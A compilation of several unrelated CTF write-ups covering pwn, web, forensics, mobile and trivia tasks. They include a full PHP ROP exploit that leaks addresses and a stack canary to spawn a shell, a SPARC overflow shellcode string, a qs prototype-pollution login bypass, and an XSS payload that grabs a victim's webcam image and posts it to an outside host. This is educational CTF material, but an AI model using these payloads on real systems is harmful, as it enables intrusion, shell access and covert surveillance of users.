# Mindgames 1338 - BalCCon2k20 CTF (pwn, 470, 8 solved)## Introduction Mindgames 1338 is a pwn task. This is the third and last challenge of theMindgames serie (Mindgames 1336, 1337, 1338). This challenge has PIE and stackcanaries. A Linux ELF file is provided. It is a guessing game. The highest score belongsto a randomly generated Star Wars character, but can be replaced by the user'sname. ## Reverse engineering The reverse engineering has been explained in Mindgames 1336's and Mindgames1337's writeups. ## Exploitation The exploitation here is slightly more complicated due to the presence of stackcanaries : not only is it required to leak the binary's base address, but it isalso required to leak the stack canary to overwrite it. The canary is stored on the stack. A pointer to the stack can be found in thelibc (`environ`, which points to the program's environment variables). The exploitation becomes:1. leak PIE by overwriting last byte of `player`2. leak libc by pointing `player` to `__libc_start_main`3. leak stack by pointing `player` to libc's `environ` pointer4. leak canary by pointing `player` to `environ - 0x110`5. ROP to call `system("/bin/sh")` **Flag**: `BCTF{0h_no!_N0w_y0u_killed_my_canary!_Your_mind_really_is_a_weapon!}` ## Appendices### pwn.php```php#!/usr/bin/phpexpectLine("What do you want to do?"); $t->expectLine(" 1) Show Highscore"); $t->expectLine(" 2) Play the game"); $t->expectLine(" 3) Exit"); $t->expect("> ");} function hs(Tube $t){ menu($t); $t->write("1\n"); $t->expectLine("Current highscore:"); $line = $t->readLine(); list($score, , $player) = explode("\t", $line, 3); $score |= 0; $player = substr($player, 1); return [$score, $player];} function play(Tube $t, $name, $count = 0){ global $ffi; menu($t); $t->write("2\n"); $t->expectLine("Can you guess my numbers?"); $t->expect("> "); for($i = 0; $i < $count; $i++) { $guess = $ffi->rand(); $t->write("$guess\n"); } for($i = 0; $i < $count; $i++) { $t->expectLine("You were lucky this time!"); $t->expect(">"); } $t->write("-1\n"); $t->expectLine("Game over!"); $t->expectLine("New Highscore! Amazing!"); $t->expect("Give me your name: "); $t->write($name);} printf("[*] Creating process\n");$time = microtime(true); $t = new Socket(HOST, PORT);$date = strftime("%Y-%m-%d %H:%M:%S"); // it's okay because we use NTP ;-)$t->expectLine("Hello there! It's $date and the weather looks pretty nice!"); //$t->expect("Hello there! It's ");//$date = $t->read(strlen("2020-09-25 21:26:35"));//$t->expectLine(" and the weather looks pretty nice!");$t->expectLine("");$t->expectLine("");$t->expectLine("We should play a game of the mind!");$t->expect("> "); $ffi = FFI::load("rand.h"); printf("[+] Done in %f seconds\n", microtime(true) - $time);printf("\n"); $time = strtotime($date);$ffi->srand($time);$ffi->rand(); // player$score = $ffi->rand(); // score printf("[*] Leak addresses\n"); /* Leak */$payload = str_pad("XeR", 0x20, "\x00");$payload .= pack("Q", 0); // faster$payload .= "\xe8"; play($t, $payload, 32);$hs = hs($t);$addr = str_pad(substr($hs[1], 0, 8), 8, "\x00");$base = unpack("Q", $addr)[1] - 0x40e8; printf("[+] base: %X\n", $base); $payload = str_pad("XeR", 0x20, "\x00");$payload .= pack("Q", 0); // faster$payload .= pack("Q", $base + LSM); play($t, $payload);$hs = hs($t);$addr = str_pad(substr($hs[1], 0, 8), 8, "\x00");$addr = unpack("Q", $addr)[1];$libc = $addr & ~0xFFF;$libc -= 0x23000; printf("[+] libc: %X\n", $libc); $payload = str_pad("XeR", 0x20, "\x00");$payload .= pack("Q", 0); // faster$payload .= pack("Q", $libc + ENVIRON); play($t, $payload);$hs = hs($t);$addr = str_pad(substr($hs[1], 0, 8), 8, "\x00");$stack = unpack("Q", $addr)[1]; printf("[+] stack: %X\n", $stack); $payload = str_pad("XeR", 0x20, "\x00");$payload .= pack("Q", 0); // faster$payload .= pack("Q", $stack - 0x110 + 1); play($t, $payload);$hs = hs($t);$leak = "\x00" . substr($hs[1], 0, 7);$canary = unpack("Q", $leak)[1];assert(8 === strlen($leak)); printf("[+] canary: %X\n", $canary);printf("\n"); /* actual pwn */$payload = str_repeat("x", 0x108);$payload .= pack("Q", $canary); // canary $payload .= pack("Q", 0xdeadbeef); // rbp$payload .= pack("Q*", $libc + POPRDI, $libc + BINSH, $base + PUTS, $libc + POPRDI, $libc + BINSH, $libc + SYSTEM, -1); // rip play($t, $payload); printf("[!] shell\n");$t->pipe();```
### **Solution:**> ![](https://media.discordapp.net/attachments/770323370741858314/770323460240310302/MetaCTF_CyberGames_2020_-_Open_Thermal_Exhaust_Port_0.JPG?width=791&height=609)  > >  > > Based on the description, we need to find all ports that the device successfully connected to.  > >  >> In the provided pcap file, we can see that there is a list of TCP Packets (with a few unnecessary DNS and ARP Requests) with 2 Unique IP addresses. If we sort the entries by Source IP Address, we see that 10.0.2.15 sends many SYN Packets to 10.0.2.6. We can establish that 10.0.2.15 must be the "client" attempting to connect to the "server" 10.0.2.6. Here is a filter we can use for that:  > >  > > `ip.src == 10.0.2.15` and/or `ip.dst == 10.0.2.6`. You can now sort the packets by Protocol when the filter is applied to see TCP Packets. > ![](https://media.discordapp.net/attachments/770323370741858314/770324258718220328/unknown.png?width=1022&height=609)  > >  > > Why SYN Packets though? For a TCP connection to be established, it must undergo a process called the SYN-ACK Handshake. The source sends a TCP SYN Packet, which the Destination responds with a TCP SYN-ACK Packet. The source then responds with a TCP ACK Packet, and the connection is made. For a disconnect to happen, usually the source sends a TCP RST-ACK Packet. Why is this important? This should highlight that every other RST-ACK Packet that is not sent by 10.0.2.15 is invalid and not a proper connection. Here is another filter we can add:  > >  > > `tcp.flags == 0x14` or `tcp.flags.ack == 1 && tcp.flags.reset ==1` for readable understanding  > ![](https://media.discordapp.net/attachments/770323370741858314/770325015790092368/unknown.png)  > >  > > An alternative to the TCP Flags filters above include the ACK flags coming from 10.0.2.15. Recall that the source must send a TCP ACK Packet to establish a connection. However, ACK Flags appear in both RST-ACK and ACK Packets. Sort by Port Number to pair them up, or use the hexadecimal method to only get ACK flags:  > >  > > `tcp.flags==0x10` or `tcp.flags.ack ==1` but this will also return RST-ACK Packets  > ![](https://media.discordapp.net/attachments/770323370741858314/770325398223061042/unknown.png)  > >  > > Only 8 entries should appear (16 if you used the other method), but there should be only 7 unique ports that were open for connections: 21, 22, 23, 53, 80, 443, and 3,128. Adding these up will return 3700, which is the flag (with MetaCTF{...} surrounding it of course).  > >  > > ![](https://media.discordapp.net/attachments/770323370741858314/770326103851532338/unknown.png)   ### **Flag:** MetaCTF{3770}
# Township Leak ## Task Hello friend, I got the source code to the township administrator panel but It seems impossible to login. can you pull it off? URL: https://townshipleak.appsecil.ctf.today/ File: TownshipLeak.zip Tags: CodeReview ## Solution We get a nodejs project with `app.js`, `package-lock.json` and `package.json`. `app.js` is an express server using `qs` and `body-parser`. ```javascriptapp.use(bodyParser.urlencoded({ extended: true, verify: (req, res, buf, encoding) => { const rawBody = buf.toString(encoding || 'utf-8'); // Security fix req.data = {}; try { req.data = qs.parse(rawBody, { allowPrototypes: false, }); } catch (error) { console.log(error); } }}));``` We have a `/login` path for the login page and the post request. ```javascriptapp.post('/login', (req, res) => { class User { constructor(name, pass, role = "guest") { this.name = name; this.password = pass; this.role = role; } } User.prototype.toString = function () { return `[${this.role}] ${this.name}`; } const remoteIP = "1.3.3.7"; const user = new User(); for (let [key, value] of Object.entries(req.data)) { user[key] = value } // Regular User Check (No Injections Here! ;) const error = validateAuthentication(user); if (error) { return res.render('login', { error: error }); } // It looks unstable try { // Log users console.log(`User: \{ ${user} \}`); // Under Construction For Guests if (user.role !== "admin") { return res.render('login', { error: "Under construction, please wait few more day..." }); } if (user.role === "admin" && remoteIP !== "127.0.0.1") { return res.render('login', { error: "You Cannot Login As Admin From Here!" }); } } catch (error) { console.log(error); } return res.render('flag', { flag: process.env.FLAG }) });``` We want to test our forced entry locally so we reconstruct the project. We add a `app.use(express.static('./static'));` and place css/js in there. We create a `views` folder and place an empty `login.ejs` and the `layout.ejs` with the HTML from the challenge page. We also need `lib/auth/index.js` for this import `const validateAuthentication = require('./lib/auth').validate;`. After that we can install and run the project: ```bash$ npm install...found 1 high severity vulnerability run `npm audit fix` to fix them, or `npm audit` for details$ npm audit┌───────────────┬──────────────────────────────────────────────────────────────┐│ High │ Prototype Pollution Protection Bypass │├───────────────┼──────────────────────────────────────────────────────────────┤│ Package │ qs │├───────────────┼──────────────────────────────────────────────────────────────┤│ Dependency of │ qs │├───────────────┼──────────────────────────────────────────────────────────────┤│ Path │ qs │├───────────────┼──────────────────────────────────────────────────────────────┤│ More info │ https://npmjs.com/advisories/1469 │└───────────────┴──────────────────────────────────────────────────────────────┘$ npm run dev``` We now can use `http://127.0.0.1:5000/login` as our POST target to see the console log. There is also a known security issue in the `qs` package. The GitHub Issue has an example: ```javascripta = qs.parse("[=toString", {allowPrototypes: false})// { toString: true }``` From the qs readme https://www.npmjs.com/package/qs#readme: `By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.` We can see that the parsed `req.data` from the so-called `Security fix` above is transfered into the `User` instance in `user`: ```javascriptfor (let [key, value] of Object.entries(req.data)) { user[key] = value}``` At first I couldn't figure out how to bypass the call to `validateAuthentication` so I started with the `It looks unstable` part that locks out non-admin users or admin-users without the `remoteIP` `127.0.0.1`. My `validateAuthentication` just returns nothing for now. It's inside a try-catch block so we are allowed to cause an exception: ```bash$ curl http://127.0.0.1:5000/login -d '[=toString'...Error: Failed to lookup view 'flag' in views directory...``` This works because the ES6 template string calls `toString`. See https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/: `If either value is not a string, it’ll be converted to a string using the usual rules. For example, if action is an object, its .toString() method will be called.` We are past the second part but we still need to figure out how to bypass the validation stage, right? If we take a closer look at the HTML we can see a `default-value` attribute on both inputs. Never heard of that one. Both are set to `guest`. ```bash$ curl https://townshipleak.appsecil.ctf.today/login -d 'name=guest&password=guest&[=toString'...<h1>"AppSec-IL{pP0llut10n_1S_B4D_F0r_Y0ur_H34lth}"</h1>...```
## Security Advisory We get a pdf that seems to contain gibberish at first Looking closely we see `Blowfish/8` , it is not a product but an encryption algorithm. Further on we see a suspicious `OFB` mode, one of the encryption modes for blowfish, but we don't have any text to decrypt or any key & iv. Or do we? The clients claimed to be vulnerable looks like valid hex> cf1c1a057d47, 86a9ef0f5a74, 4e6fa75810fc, and 855f3945f731 826610fc022a, e726719dc183, b7451dc8f5bf, and 3e3c8ad7bc55 but they are not 8 bytes (expected for blowfish key and iv length) Searching further we find the metadata has a suspicious field `<xmp:CreatorTool>|64616d6e206d657461646174613b206865726520796f7520676f3a20325a646b4b5474707247646448683333|</xmp:CreatorTool>` Decoding that from hex gives us > damn metadata; here you go: 2ZdkKTtprGddHh33 `2ZdkKTtprGddHh33` is not 8 bytes but it is 16 bytes what if we split it into 2 for key and iv and use the rest as the encrypted text in CyberChef? [Cyberchef](https://gchq.github.io/CyberChef/#recipe=Blowfish_Decrypt(%7B'option':'UTF8','string':'2ZdkKTtp'%7D,%7B'option':'UTF8','string':'rGddHh33'%7D,'OFB','Hex','Raw')&input=Y2YxYzFhMDU3ZDQ3ODZhOWVmMGY1YTc0NGU2ZmE3NTgxMGZjODU1ZjM5NDVmNzMxODI2NjEwZmMwMjJhZTcyNjcxOWRjMTgzYjc0NTFkYzhmNWJmM2UzYzhhZDdiYzU1) AND we have our flag Flag : `syskronCTF{you-Just-anaLyzed-your-1st-advisorY}` [](https://qz.sg)
# GreatSuccess ## Task Great React! I'm very excite! File: memeApp.ipa Tags: Mobile ## Solution We start off by extracting the zip archive: ```bash$ unzip memeApp.ipa``` We now can start digging around the application. Things of interest: - `memeApp` - `Mach-O universal binary with 2 architectures: [armv7:Mach-O armv7 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|WEAK_DEFINES|BINDS_TO_WEAK|PIE>] [arm64]` - `main.jsbundle` - `ASCII text, with very long lines` - `AccessibilityResources.bundle/en.lproj/Localizable.strings` - `ASCII text` - `assets/app.json` - `JSON data` The last two don't contain anything interesting. Before we start with the binary, let's look at the jsbundle. Fast scrolling through yields this: - `SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED` - `FxUCKisKTiwHHjRVFi8GHgtFQEoJFhcXKjYOBQRFnMcIgAfAFVtYCIEBhw9NhcKFAgYRywTBAQTWFceMAweFGA2MwkuBApJZRMKBAhUbVI4AS0KKww8CDI6H0UlIUc0LFdtWiI6HBY6NhAQKAYcXzpgNiI6RltfOjoQHBEMGwAoEA1JZzE=` - `https://greatsuccess.appsecil.ctf.today/key` -> `VeryNiceKey,ILike123` The second one is base64 but the decoded version is useless. We need to find out what's going on here. This might be worth reading: https://github.com/OWASP/owasp-mstg/blob/master/Document/0x06c-Reverse-Engineering-and-Tampering.md#patching-react-native-applications I started of beautifying the jsbundle, `JStillery` threw me errors but there are lots of other beautifiers out there. I then opened it in an IDE that analyzes the script and supports me with `Find Usage` and `Go to declaration` tools. After all, I didn't really need them but it is a good starting point. We find our URL again: ```javascript__d(function(g, r, i, a, m, e, d) { var t = r(d[0]), c = r(d[1]); Object.defineProperty(e, "__esModule", { value: !0 }), e.default = void 0; var n = c(r(d[2])), l = t(r(d[3])), f = r(d[4]), o = r(d[5]), u = { uri: "[not useful]" }; function s(t) { var c = (0, l.useState)("Get Memed"), f = (0, n.default)(c, 2), o = f[0], u = f[1], s = (0, l.useState)(!1), h = (0, n.default)(s, 2), I = h[0], w = h[1]; return (0, l.useEffect)(function() { fetch(t).then(function(t) { return t.text() }).then(function(t) { console.log('response: ' + t), u(t) }).catch(function() { w(!0) }) }, [t]), [o, I] } var h = o.StyleSheet.create({...stuff...}), I = function() { var t = s("https://greatsuccess.appsecil.ctf.today/key"), c = (0, n.default)(t, 2), I = c[0], w = (c[1], (0, f.decrypt)(I, "FxUCKisKTiwHHjRVFi8GHgtFQEoJFhcXKjYOABQRFnMcIgAfAFVtYCIEBhw9NhcKFAgYRywTBAQTWFceMAweFGA2MwkuBApJZRMKBAhUbVI4AS0KKww8CDI6H0UlIUc0LFdtWiI6HBY6NhAQKAYcXzpgNiI6RltfOjoQHBEMGwAoEA1JZzE=")); return console.log(w), l.default.createElement(o.View, { style: h.container }, l.default.createElement(o.ImageBackground, { source: u, style: h.image }, l.default.createElement(o.Text, { style: h.text }, w))) }; e.default = I}, 402, [9, 1, 14, 55, 403, 2]);``` If you've ever looked at bundled javascript it's not that hard to figure out what's going on here. We have a module resolver function `__d` which provides it's first parameter with the dependencies listed in the third parameter. The position of the module itself is the second parameter. So we have module `402` that depends on `[9, 1, 14, 55, 403, 2]`. The inner function `s` seems to fetch the content of a page. The fetched content is probably used as a key in the call to decrypt the base64. `f = r(d[4])` is module `403`: ```javascript__d(function(g, r, i, a, m, e, d) { var t = r(d[0]); Object.defineProperty(e, "__esModule", { value: !0 }), e.encrypt = function(t, o) { return xorEncrypt = function(t, c) { return n.default.map(c, function(n, c) { return n.charCodeAt(0) ^ t.charCodeAt(Math.floor(c % t.length)) }) }, b64Encode = function(t) { var n, o, h, u, f, l, p = 0, A = ''; if (!t) return t; do { n = (f = t[p++] << 16 | t[p++] << 8 | t[p++]) >> 18 & 63, o = f >> 12 & 63, h = f >> 6 & 63, u = 63 & f, A += c.charAt(n) + c.charAt(o) + c.charAt(h) + c.charAt(u) } while (p < t.length); return ((l = t.length % 3) ? A.slice(0, l - 3) : A) + '==='.slice(l || 3) }, o = this.xorEncrypt(t, o), this.b64Encode(o) }, e.decrypt = function(t, o) { return b64Decode = function(t) { var n, o, h, u, f, l, p = 0, A = []; if (!t) return t; t += ''; do { n = (l = c.indexOf(t.charAt(p++)) << 18 | c.indexOf(t.charAt(p++)) << 12 | (u = c.indexOf(t.charAt(p++))) << 6 | (f = c.indexOf(t.charAt(p++)))) >> 16 & 255, o = l >> 8 & 255, h = 255 & l, A.push(n), 64 !== u && (A.push(o), 64 !== f && A.push(h)) } while (p < t.length); return A }, xorDecrypt = function(t, c) { return n.default.map(c, function(n, c) { return String.fromCharCode(n ^ t.charCodeAt(Math.floor(c % t.length))) }).join('') }, o = this.b64Decode(o), this.xorDecrypt(t, o) }, e.b64Table = void 0; var n = t(r(d[1])), c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; e.b64Table = c}, 403, [1, 404]);``` We see some xor-ing going on. Let's write a function to xor the base64 decoded chars and print them out: ```javascript// Extracted from abovevar decrypt = function(t) { var n, o, h, u, f, l, p = 0, A = []; if (!t) return t; t += ''; do { n = (l = c.indexOf(t.charAt(p++)) << 18 | c.indexOf(t.charAt(p++)) << 12 | (u = c.indexOf(t.charAt(p++))) << 6 | (f = c.indexOf(t.charAt(p++)))) >> 16 & 255, o = l >> 8 & 255, h = 255 & l, A.push(n), 64 !== u && (A.push(o), 64 !== f && A.push(h)) } while (p < t.length); return A} var c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var k = "VeryNiceKey,ILike123"; var chars = decrypt("FxUCKisKTiwHHjRVFi8GHgtFQEoJFhcXKjYOABQRFnMcIgAfAFVtYCIEBhw9NhcKFAgYRywTBAQTWFceMAweFGA2MwkuBApJZRMKBAhUbVI4AS0KKww8CDI6H0UlIUc0LFdtWiI6HBY6NhAQKAYcXzpgNiI6RltfOjoQHBEMGwAoEA1JZzE=").map(x => String.fromCharCode(x)); var out = [];for (var i = 0; i < chars.length; i++) { out.push(String.fromCharCode(chars[i].charCodeAt(0) ^ k.charCodeAt(i % k.length)));} console.log(out.join(''));``` We get: `AppSec-IL{My_country_send_me_to_United_States_to_make_movie-film._Please,_come_and_see_my_film._If_it_not_success,_I_will_be_execute.}`
### **Solution**> When opening the site, you'll see a page containing this text:  > >![](https://media.discordapp.net/attachments/770323370741858314/770385029762514995/unknown.png) >> There are no links or references. However, notice in the URL that we are located inside child directories from the root of the site "/". What happens when we go to a parent directory?  > >  > > `"/dev/webapp/index.html" → "/dev/"`  > ![](https://media.discordapp.net/attachments/770323370741858314/770390308248354856/unknown.png)  > >  > > This returns a directory listing of the website. An interesting directory that appears is one called "docs/". Enter the directory and file.txt will appear. Open it and a new tab will appear, and that's your flag.   #### **Flag:** MetaCTF{Dont_l3t_y0ur_d1rect0ries_b3_l1st3d}
**Name:** StuckOverflow **Score:** 500 **Description:** Good morning Agent **Eli Cohen**! We got you a user in the most secret Hackers Q&A site in the Middle East. **Sheik Majid Al Ard** will be there and he is new so he will be asking for help... Your mission is to send us marked photos of him or the places he's been in, He's always taking his laptop everywhere. ### Achieving XSS The challenge link leads to a StackOverflow-like Q&A website which asks for an authentication: email, password, and a QR code, all provided in the description. To scan the QR code, the website asks for permissions to access the camera, which is a hint towards the solution. After logging in, there's a page with various questions, most of them are hints for solving the challenge: > **1. Create Image Recognition QR reader?** > I saw the QR reader in the login page and I want to build the same feature to my terror website, how does it work? > **2. Is DomPurify safe for every XSS Scenario?** > I Had some issues with DomPurify that are not related to mutation... > **3. Is backend MarkDown render is different from frontend MarkDown?** > I saw some key differences... That's why I'm asking > **4. Highlight code in MarkDown** > How can I highlight JavaScript syntax in MarkDown? > **5. How the new Copy button works?** > I really liked the new Copy button, It's awsome to Copy code with one click! how does it work? > **6. How do you protect your site from XSS?** > You are using DomPurify in your backend? > **7. Record WebCam video in Python** > Hi, I need Python code that records WebCam video. I will use it when I hack Mossad agents. > **8. Is Markdown safe?** > I saw many sites use MarkDown, is it safe to use? Question number 7 is authored by **Sheik Majid Al Ard**. We need to send marked photos of him or the places he's been in. Some questions talk about XSS, DomPurify and Markdown, which lead me to look for an XSS vulnerability. I have no permissions to ask a new question, but I can comment on other questions. The comment can be formatted with Markdown, and HTML is correctly escaped, as it seems (probably with DomPurify). With the hint of question 4, I found a way to trigger an XSS. The question asks how to highlight code in Markdown, the answer to which is: ```javascript /* code here */ ``` After some experimentation, the XSS can be trigerred in the language name, for example this Markdown answer: ```"onmouseover="alert(1) /* code here */ ``` Is rendered as the following HTML code: /* code here */ Triggerring an alert on hover. ### Solving the challenge Each highlighted block of code has a Copy button to copy the code. Question 5 is a hint that the victim is going to use the button to copy our answer, so we need to trigger the XSS on the button click. Looking at the implementation, the code text is selected, then `document.execCommand("copy")` is used to copy the selected text to the clipboard. After some attempts, I found out there's a non-standard [oncopy](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/oncopy) property I can use instead of `onmousehover` to achieve XSS on the Copy button click. For a quick test, I posted the following payload: ```"oncopy="fetch('https://solver.com/ping') /* code here */ ``` And indeed I got a request from a headless Chrome user agent. (Or should I say, **Sheik Majid Al Ard**? :)) According to the description, I need to get Sheik's photo. And thanks to the unusual authentication with a QR code, his browser got permissions to use the camera on the website. So I need to come up with a payload to grab a photo from a camera. Perhaps I could implement this kind of code myself, but question 1 gives yet another hint: why not use the library that handles the QR code? Finally, I came up with the following payload, loading the Html5-QRCode library and sending a photo to my website: ```"oncopy="var/**/script=document.createElement('script');script.src='/scripts/html5-qrcode.min.js';document.head.appendChild(script);setTimeout(()=>{Html5Qrcode.getCameras().then(devices=>{new/**/Html5Qrcode('mobile-drawer').start(devices[0].id,{},code=>{})setTimeout(()=>{fetch('https://solver.cf/photo',{method:'post',body:document.getElementById('qr-canvas').toDataURL('image/png')})},1000)})},1000) /* code here */ ``` Note that whitespace is not allowed, so I used empty comments where needed. Using this payload, I got a beautiful photo of **Sheik** together with the flag. ![Solution](https://i.imgur.com/Ej9HzkU.png)
TDLR:* The challenge had two stages* First, bypass the firewall by setting the SNI to public.frontline.cloud.flu.xxx but the HTTP host to secret.frontline.cloud.flu.xxx* Second, bypass the router via Socket.io request summgle Detailed writeup:[https://fh4ntke.medium.com/fluxcloud-frontline-writeup-8e2dbf095d57](https://fh4ntke.medium.com/fluxcloud-frontline-writeup-8e2dbf095d57)
#### Original Writeup - [https://github.com/CTSecUK/Syskron-Security-CTF-2020/blob/main/Write-ups/Security%20Headers.md](https://github.com/CTSecUK/Syskron-Security-CTF-2020/blob/main/Write-ups/Security%20Headers.md) -----# Security Headers ![Category](http://img.shields.io/badge/Category-Monday-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-100-brightgreen?style=for-the-badge) ![Tag](https://img.shields.io/badge/Tag-web-blue?style=plastic) ## Details ![Details](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/security_headers_details.png) I started by navigating to the webpage in Firefox, i then enabled the proxy(using the extension FoxyProxy) so i could direct the traffic through BurpSuite. ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/security_headers_send_to_burp.png) I also made sure intercept was enabled so i could see the request and response to "www.senork.de", i went back to Firefox and refereshed the page, went back to Burp and clicked on Forward. ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/security_headers_burp_request.png) I then clicked on **HTTP History** and scrolled down till i could find the request to **GET /** ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/security_headers_burp_response.png) I checked the **Response** window and **RAW** tab and looked at the Headers. Flag: ***syskronCTF{y0u-f0und-a-header-flag}***
# Secret Pwnhub Academy Rewards Club ![Pwn](https://img.shields.io/badge/Pwn--00aaff?style=for-the-badge) ![Points - 194](https://img.shields.io/badge/Points-194-9cf?style=for-the-badge) ```txtThere are several secret clubs around, the most important of which is the select few who can deal with all shades of grey of CPU architectures. This is the golden opportunity to look at another one! file: https://pwnhub.fluxfingers.net/static/chall/secret-pwnhub-academy-rewards-club-1_0226d54c17fd53005596f4ff42b51940.zipnc flu.xxx 2020``` --- ## TL;DR Pass a long enough input string to the service to change the function's return pointer. Redirect code execution to the beginning of this string, where you have your shellcode. Something like the following will do just fine (`exploit.py` can be found [here](./exploit.py)): ```txtb'-\x0b\xd8\x9a\xac\x15\xa1n/\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94"\x80\n\x9c\x03\xa0\x10\xec;\xbf\xf0\xd0#\xbf\xf8\xc0#\xbf\xfc\x82\x10 ;\x91\xd0 \x10XXXXXXXX\xff\xff\xebxXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\xff\xff\xebx\xff\xff\xebp'``` ## Detailed First of all, a simple `file` will tell us, what the task description meant by "[...] all shades of gray of CPU architectures. [...]": ```txtsparc-1: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, not stripped``` ... I personally had never heard of or worked with the `SPARC` architecture before, so I did a quick google search to get some more insight. As it turns out, `SPARC (Scalable Processor Architecture)` was one of the first successful `RISC` architectures and it was originally developed by `Sun Microsystems` (that sounds familiar, doesn't it... ^^) back in 1986! Also interesting to note: It's a `big endian` architecture. Alright! After this freshening up on processor architectures and computer history, it was time to start looking at the binary itself... Actually, nevermind, let's first look at what security measures are enabled by using `pwntools`' `checksec` tool: ![checksec](./checksec.png) ... wow... not bad... not bad at all ^^ - we'll definitely keep this in mind for later. Now... we can really start taking a look at the binary - let's fire up `Ghidra`: ![main-ghidra](./main-ghidra.png) ... okay... not too much happening in the main function itself. Let's take a look at the two functions it's calling: ![setup-ghidra](./setup-ghidra.png) ![fn-ghidra](./fn-ghidra.png) ... _hmm_ ... the `setup()` function isn't too interesting either - it just seems to make both `stdin` and `stdout` unbuffered. The `fn()` function seems to be more interesting, but... `Ghidra`'s decompiled code is a bit weird here... So... we decided to do some dynamic analysis with the already provided `run_docker_gdbserver.sh` script. Run the script, connect to it with `nc localhost 4444` set a breakpoint after the first call to `read()`, continue, enter something like `AAAABBBBCCCCDDDD` and take a look at the stack: ![stack-gdb](./stack-gdb.png) ... hang on... that address looks familiar! Right... taking a look at the process' output will confirm this suspicion: ![output-first](./output-first.png) ... there it is again! That means the cryptic `Ghidra` decompilation was trying to say that the input is being read into the `auStack128` array, since this is the one whose address is printed. Well... this makes the `fn()` function all the more interesting! If `read()` reads input into the `auStack128` buffer, then it's in fact reading a maximum of `0x200` bytes (`512 bytes`) into a buffer that is only `128 bytes` large - we can definitely overflow that! It was at this point that we felt a bit lost, since we didn't know too much about the `SPARC` architecture and where, or even if, it stores the function return pointers on the stack. In the end, we simply used the `pwntools.cyclic()` function to generate a 512 byte `De Bruijn sequence` and passed it as input to the `sparc-1` process that had GDB attached. Now we simply had to see if the execution fails and where it fails: ![gdb-sigsev](./gdb-sigsev.png) ... ok... execution definitely fails. However, it's a SIGSEV... so the program tried to access some illegal memory adddress. Let's see what the instruction that caused this is: ![sigsev-instructions](./sigsev-instructions.png) ... well... we've definitely overwritten the main function's frame pointer. ![sigsev-fp](./sigsev-fp.png) Simply pass this hex value (`0x76616162`) to the `pwntools.cyclic_find()` function (don't forget to use the proper arch - otherwise the endianess might be incorrect) and find the frame pointer's offset from the beginning of the input buffer - as it turn out, it begins after `184 bytes`. That's all nice and dandy, but, to be frank, we were more interested in the `program counter`. Some research told us that `SPARC` uses the `o7` and `i7` registers to save the next return addresses. Let's have a look at them in our crashed program: ![sigsev-o7i7](./sigsev-o7i7.png) ... would you look at that! Once again, the `cyclic_find()` function is here to help: it would seem that the main function's return pointer is stored on the stack, just `188 bytes` after the beginning of the input buffer. Okay! This is already pretty much enough to create a fully functioning exploit! The only thing missing now was some shellcode to redirect execution to! We found that on [shell-storm.org](http://shell-storm.org/shellcode/files/shellcode-83.php). If you want to take a look at the final `exploit.py` script, you'll find it [here](./exploit.py). Here's a short summary of what it does: 1. read the address of the char array on the stack from the process' output2. construct an exploit string with shellcode at the beginning (padded to a length of 184 bytes).3. append the address of the char array to this exploit string - this will eventually overflow into the the `frame pointer`.4. append the address of the char array - 8 to the exploit string - the `retl` instruction at the end of the main function will eventually return to this address + 8 (that's just a thing with the `SPARC` architecture) ... and... after running this final script... we get our beautiful shell which we can use to simply cat the flag: `flag{all_the_!nput_to_0utput_register_sh0veling}`
#### Original Writeup - [https://github.com/CTSecUK/Syskron-Security-CTF-2020/blob/main/Write-ups/Vulnerable%20RTOS.md](https://github.com/CTSecUK/Syskron-Security-CTF-2020/blob/main/Write-ups/Vulnerable%20RTOS.md) -----# Vulnerable RTOS ![Category](http://img.shields.io/badge/Category-Trivia-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-25-brightgreen?style=for-the-badge) ![Tag](https://img.shields.io/badge/Tag-vulnerability-blue?style=plastic) ## Details ![Details](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/vulnerable_RTOS_details.png) Again i started with a google search with some of the text from the description. "name of 11 zero-day vulnerabilities" ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/vulnerable_RTOS_google_results.png) Looking through the search results on google and reading some of the articles, people are not really referenceing the 11 vulnerabuilites as 1 specific name.\Until i found this link:-![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/vulnerable_RTOS_google_search.png) **Urgent/11** stood out to me on this webpage ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/vulnerable_RTOS_Urgent11.png) So i tried the flag: ***syskronCTF{URGENT/11}***
